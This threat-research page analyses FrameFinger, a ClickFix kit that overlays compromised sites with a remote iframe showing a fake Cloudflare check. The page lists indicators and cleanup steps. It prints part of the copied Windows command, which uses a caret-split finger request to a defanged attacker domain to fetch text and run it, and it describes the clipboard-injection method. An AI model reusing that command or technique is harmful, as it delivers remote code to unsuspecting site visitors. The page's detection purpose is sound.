Request an evaluation
Menu

Web threats / ClickFix

FrameFinger ClickFix kit

FrameFinger is a ClickFix kit that puts a remote verification page in a full-screen iframe and copies a finger command. We have matched it on 4 sites since 11 October.

Research by Kirk

FrameFinger in numbers

Since 11 October, the first FrameFinger match in our records, counted on 13 October 2026. How we count.

Sites with FrameFinger code4
Most recent match12 October
Sites captured since 25 September3
Sites running WordPress2

A remote iframe covers the site

FrameFinger injects an iframe named fpie_frame into the site's HTML. Fixed positioning, full viewport dimensions and a high stacking order put hxxps://id-dns[.]net/ over the page.

Each iframe load increments the fpie_count cookie. Repeated loads set fpie_done, and the cookies expire after a day. The injection also sends the current page address to the iframe through postMessage, with the message type SITE1_URL.

The fake check copies a finger command

The framed page fetches /infos.php, decodes its response with ROT13 and replaces its body with the result. That response presents a fake Cloudflare human check.

Clicking the checkbox starts a request to infos.php?fronts=0. Its callback decodes a Base64 command and copies it through a temporary textarea and document.execCommand('copy'). The command begins:

%COMSPEC% /c start "" /min for /f "delims=@" %t in (',f^^i^^n^^g^^e^^r RscncqFRZn@id-dns[.]net') do %t

The carets split up finger, and the loop runs text returned by the request. A padded instruction to press Enter follows the command. The page then polls c.php and reloads when the reply signals completion.

What we see

Among successful captures since 25 September, 2 of 3 FrameFinger sites ran WordPress.

Checking a site

Inspect the HTML and the framed page's requests. Look for:

  • a fixed, full-screen iframe with the id fpie_frame
  • FPIE: plugin loaded in the injected script
  • fpie_count and fpie_done cookies
  • SITE1_URL messages carrying the current page address
  • requests to id-dns[.]net/infos.php followed by ROT13 decoding
  • a copied %COMSPEC% command containing a caret-split finger request
  • requests to infos.php?fronts=0 and repeated c.php checks

Remove the iframe and its injection from templates and cached pages. Review administrator and hosting access, rotate those credentials and check again from a clean browser profile.